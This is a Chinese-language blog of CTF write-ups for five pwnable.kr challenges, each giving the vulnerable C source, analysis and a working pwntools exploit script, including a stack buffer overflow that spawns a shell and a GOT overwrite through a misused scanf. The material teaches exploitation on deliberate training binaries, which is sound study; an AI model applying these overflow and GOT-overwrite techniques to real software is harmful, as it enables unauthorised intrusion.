写在前面:最近由于准备考试,博客已经好久不更新了,期末结束,最近刚开始学习pwn,作为学习笔记,也为了督促自己学习,把最近做的pwnable上的解题过程都放到blog上吧,水平很菜,大牛勿喷
目录
0x01 fd
0x02 collision
0x03 bof
0x04 flag
0x05 passcode
0x01 fd
ssh连入后,直接查看fd.c的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
|
google了下atoi是将字符串转为int;
再根据提示linux file IO
google到linux read()函数原型: ssize_t read(int fd, void *buf, size_t count)
第一个参数是file descriptor,
![]()
那么传入的参数就该是0x1234的字符串形式
直接上脚本
1 2 3 4 5 6
| from pwn import * pwn_ssh = ssh(host='pwnable.kr', user = 'fd', password='guest',port = 2222) print pwn_ssh.connected() sh = pwn_ssh.process(argv = ['fd','4660'],executable='./fd') sh.sendline('LETMEWIN') print sh.recvall()
|
0x02 collision
ssh连入后,查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; }
int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; }
if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
|
观察源码,很明显是将输入的字符转为int类型;然后相加最后使之等于hashcode(0x21DD09EC)。
一开始是想构造前16个字符均为\x00的;测试发现不可以;很不理解为什么;测试了一下发现\x09会被截断;于是乎,想法之将\x09除去;便利用0x21dd09ec和字符长度为20,先将0x21dd09ec除以五,但是有余数,最后一个字符再加上余数就行
直接上exp
1 2 3 4 5 6 7
|
from pwn import * ssh_connect = ssh(host= 'pwnable.kr',user='col',password = 'guest', port = 2222) ssh_process = ssh_connect.process(argv = ['col','\xC8\xCE\xC5\x06' * 4 + '\xCC\xCE\xC5\x06'],executable='./col') print ssh_process.recvall()
|
0x03 bof
先查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
|
查看汇编,观察func函数
![]()
由于gets函数的漏洞得到最后脚本为
1 2 3 4 5 6
|
from pwn import * sh = remote('pwnable.kr',9000) sh.sendline('A'*52 + p32(0xcafebabe)) sh.interactive()
|
拿到flag
0x04 flag
![]()
由题意,知道这是一个reverse,IDA载入发现upx壳的痕迹
upx脱壳
![]()
再次IDA载入,查找字符串,拿到flag
0x05 passcode
ssh 连入之后,查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <stdio.h> #include <stdlib.h>
void login(){ int passcode1; int passcode2;
printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin);
printf("enter passcode2 : "); scanf("%d", passcode2);
printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } }
void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); }
int main(){ printf("Toddler's Secure Login System 1.0 beta.\n");
welcome(); login();
printf("Now I can safely trust you that you have credential :)\n"); return 0; }
|
由于welcome函数和login函数是在main函数里的连续调用,所以共享ebp
用IDA载入程序
![]()
![]()
可以观察到ebp-70h与ebp-10h只相差十进制的96
而在welcome函数中name变量占用的地址长度为100
又在login函数中
scanf函数,如果不加地址符,会向变量以在栈中位置的值为地址,写入数据
查看不同段的可读可写属性
![]()
可知got表是可写的
在if语句之前,在got表中的函数我选择了fflush函数,
将passcode1栈中写为fflush函数对应的地址,即0x804A004
继续运行,输入passcode1,为了直接运行到system函数处,直接将passcode1写为system函数运行的地方,即
![]()
又因为passcode1变量类型为int,将之转换为int类型数据
最终脚本为
1 2 3 4 5 6 7 8
|
from pwn import * sh = ssh(host='pwnable.kr', user = 'passcode', password='guest',port = 2222) exe=sh.process(executable="./passcode") exe.sendline('A'*96 + p32(0x0804a004) + '134514135') print exe.recvall() sh.interactive()
|